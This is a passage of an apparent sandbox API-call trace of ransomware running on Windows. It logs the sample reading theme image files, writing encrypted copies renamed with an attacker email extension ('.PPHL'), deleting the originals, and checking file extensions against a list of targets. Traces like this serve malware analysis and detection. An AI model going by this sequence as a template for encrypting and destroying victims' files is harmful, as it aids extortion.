returned 1 [0076.582] SetEndOfFile (hFile=0x180) returned 1 [0076.582] CloseHandle (hObject=0x180) returned 1 [0076.583] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.583] SetEndOfFile (hFile=0x1f0) returned 1 [0076.584] CloseHandle (hObject=0x1f0) returned 1 [0076.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.584] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0076.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.585] lstrlenW (lpString=".doc") returned 4 [0076.585] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.585] lstrlenW (lpString=".docx") returned 5 [0076.585] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.585] lstrlenW (lpString=".pdf") returned 4 [0076.585] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.585] lstrlenW (lpString=".xls") returned 4 [0076.585] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.585] lstrlenW (lpString=".xlsx") returned 5 [0076.585] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.585] lstrlenW (lpString=".ppt") returned 4 [0076.585] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.585] lstrlenW (lpString=".zip") returned 4 [0076.585] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.585] lstrlenW (lpString=".rar") returned 4 [0076.585] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.585] lstrlenW (lpString=".bz2") returned 4 [0076.585] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.585] lstrlenW (lpString=".7z") returned 3 [0076.585] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.585] lstrlenW (lpString=".dbf") returned 4 [0076.586] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.586] lstrlenW (lpString=".1cd") returned 4 [0076.586] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.586] lstrlenW (lpString=".jpg") returned 4 [0076.586] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.586] lstrlenW (lpString=".doc") returned 4 [0076.586] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.586] lstrlenW (lpString=".docx") returned 5 [0076.586] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.586] lstrlenW (lpString=".pdf") returned 4 [0076.586] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.586] lstrlenW (lpString=".xls") returned 4 [0076.586] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.586] lstrlenW (lpString=".xlsx") returned 5 [0076.586] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.586] lstrlenW (lpString=".ppt") returned 4 [0076.586] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.586] lstrlenW (lpString=".zip") returned 4 [0076.586] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.587] lstrlenW (lpString=".rar") returned 4 [0076.587] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.587] lstrlenW (lpString=".bz2") returned 4 [0076.587] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.587] lstrlenW (lpString=".7z") returned 3 [0076.587] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.587] lstrlenW (lpString=".dbf") returned 4 [0076.587] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.587] lstrlenW (lpString=".1cd") returned 4 [0076.587] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0076.587] lstrlenW (lpString=".jpg") returned 4 [0076.587] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.587] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.587] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0076.988] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1363) returned 1 [0076.988] CloseHandle (hObject=0x1ec) returned 1 [0076.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0076.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0076.989] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.989] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.257] GetLastError () returned 0x0 [0077.257] ReadFile (in: hFile=0x1ec, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x553, lpOverlapped=0x0) returned 1 [0077.278] WriteFile (in: hFile=0x1f0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x560, lpOverlapped=0x0) returned 1 [0077.280] ReadFile (in: hFile=0x1ec, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0077.280] WriteFile (in: hFile=0x1f0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.280] SetEndOfFile (hFile=0x1f0) returned 1 [0077.280] CloseHandle (hObject=0x1f0) returned 1 [0077.281] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.281] SetEndOfFile (hFile=0x1ec) returned 1 [0077.282] CloseHandle (hObject=0x1ec) returned 1 [0077.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.282] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0077.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.282] lstrlenW (lpString=".doc") returned 4 [0077.283] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.283] lstrlenW (lpString=".docx") returned 5 [0077.283] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.283] lstrlenW (lpString=".pdf") returned 4 [0077.283] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.283] lstrlenW (lpString=".xls") returned 4 [0077.283] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.283] lstrlenW (lpString=".xlsx") returned 5 [0077.283] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.283] lstrlenW (lpString=".ppt") returned 4 [0077.283] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.283] lstrlenW (lpString=".zip") returned 4 [0077.283] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.283] lstrlenW (lpString=".rar") returned 4 [0077.283] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.283] lstrlenW (lpString=".bz2") returned 4 [0077.283] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.283] lstrlenW (lpString=".7z") returned 3 [0077.283] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.283] lstrlenW (lpString=".dbf") returned 4 [0077.283] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.283] lstrlenW (lpString=".1cd") returned 4 [0077.283] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.283] lstrlenW (lpString=".jpg") returned 4 [0077.284] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.284] lstrlenW (lpString=".doc") returned 4 [0077.284] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.284] lstrlenW (lpString=".docx") returned 5 [0077.284] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.284] lstrlenW (lpString=".pdf") returned 4 [0077.284] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.284] lstrlenW (lpString=".xls") returned 4 [0077.284] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.284] lstrlenW (lpString=".xlsx") returned 5 [0077.284] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.284] lstrlenW (lpString=".ppt") returned 4 [0077.284] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.284] lstrlenW (lpString=".zip") returned 4 [0077.284] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.284] lstrlenW (lpString=".rar") returned 4 [0077.284] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.284] lstrlenW (lpString=".bz2") returned 4 [0077.284] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.284] lstrlenW (lpString=".7z") returned 3 [0077.284] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.284] lstrlenW (lpString=".dbf") returned 4 [0077.285] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.285] lstrlenW (lpString=".1cd") returned 4 [0077.285] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0077.285] lstrlenW (lpString=".jpg") returned 4 [0077.285] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.285] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.285] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.321] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1347) returned 1 [0077.321] CloseHandle (hObject=0x1f0) returned 1 [0077.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0077.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.321] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.322] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.352] GetLastError () returned 0x0 [0077.352] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x543, lpOverlapped=0x0) returned 1 [0077.405] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x550, lpOverlapped=0x0) returned 1 [0077.406] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0077.406] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.406] SetEndOfFile (hFile=0x1f8) returned 1 [0077.406] CloseHandle (hObject=0x1f8) returned 1 [0077.407] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.407] SetEndOfFile (hFile=0x1f0) returned 1 [0077.408] CloseHandle (hObject=0x1f0) returned 1 [0077.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.408] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0077.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.408] lstrlenW (lpString=".doc") returned 4 [0077.408] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.409] lstrlenW (lpString=".docx") returned 5 [0077.409] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.409] lstrlenW (lpString=".pdf") returned 4 [0077.409] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.409] lstrlenW (lpString=".xls") returned 4 [0077.409] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.409] lstrlenW (lpString=".xlsx") returned 5 [0077.409] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.409] lstrlenW (lpString=".ppt") returned 4 [0077.409] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.409] lstrlenW (lpString=".zip") returned 4 [0077.409] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.409] lstrlenW (lpString=".rar") returned 4 [0077.409] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.409] lstrlenW (lpString=".bz2") returned 4 [0077.409] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.409] lstrlenW (lpString=".7z") returned 3 [0077.409] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.409] lstrlenW (lpString=".dbf") returned 4 [0077.409] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.409] lstrlenW (lpString=".1cd") returned 4 [0077.409] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.409] lstrlenW (lpString=".jpg") returned 4 [0077.409] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.410] lstrlenW (lpString=".doc") returned 4 [0077.410] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.410] lstrlenW (lpString=".docx") returned 5 [0077.410] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.410] lstrlenW (lpString=".pdf") returned 4 [0077.410] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.410] lstrlenW (lpString=".xls") returned 4 [0077.410] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.410] lstrlenW (lpString=".xlsx") returned 5 [0077.410] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.410] lstrlenW (lpString=".ppt") returned 4 [0077.410] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.410] lstrlenW (lpString=".zip") returned 4 [0077.410] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.410] lstrlenW (lpString=".rar") returned 4 [0077.410] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.410] lstrlenW (lpString=".bz2") returned 4 [0077.410] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.410] lstrlenW (lpString=".7z") returned 3 [0077.410] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.410] lstrlenW (lpString=".dbf") returned 4 [0077.410] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.411] lstrlenW (lpString=".1cd") returned 4 [0077.411] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0077.411] lstrlenW (lpString=".jpg") returned 4 [0077.411] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.411] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.411] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.411] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=26402) returned 1 [0077.412] CloseHandle (hObject=0x1f0) returned 1 [0077.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png")) returned 0x20 [0077.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.412] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.412] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.413] GetLastError () returned 0x0 [0077.413] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x6722, lpOverlapped=0x0) returned 1 [0077.415] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6730, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x6730, lpOverlapped=0x0) returned 1 [0077.417] ReadFile (in: hFile=0x1f0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0077.417] WriteFile (in: hFile=0x1f8, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, 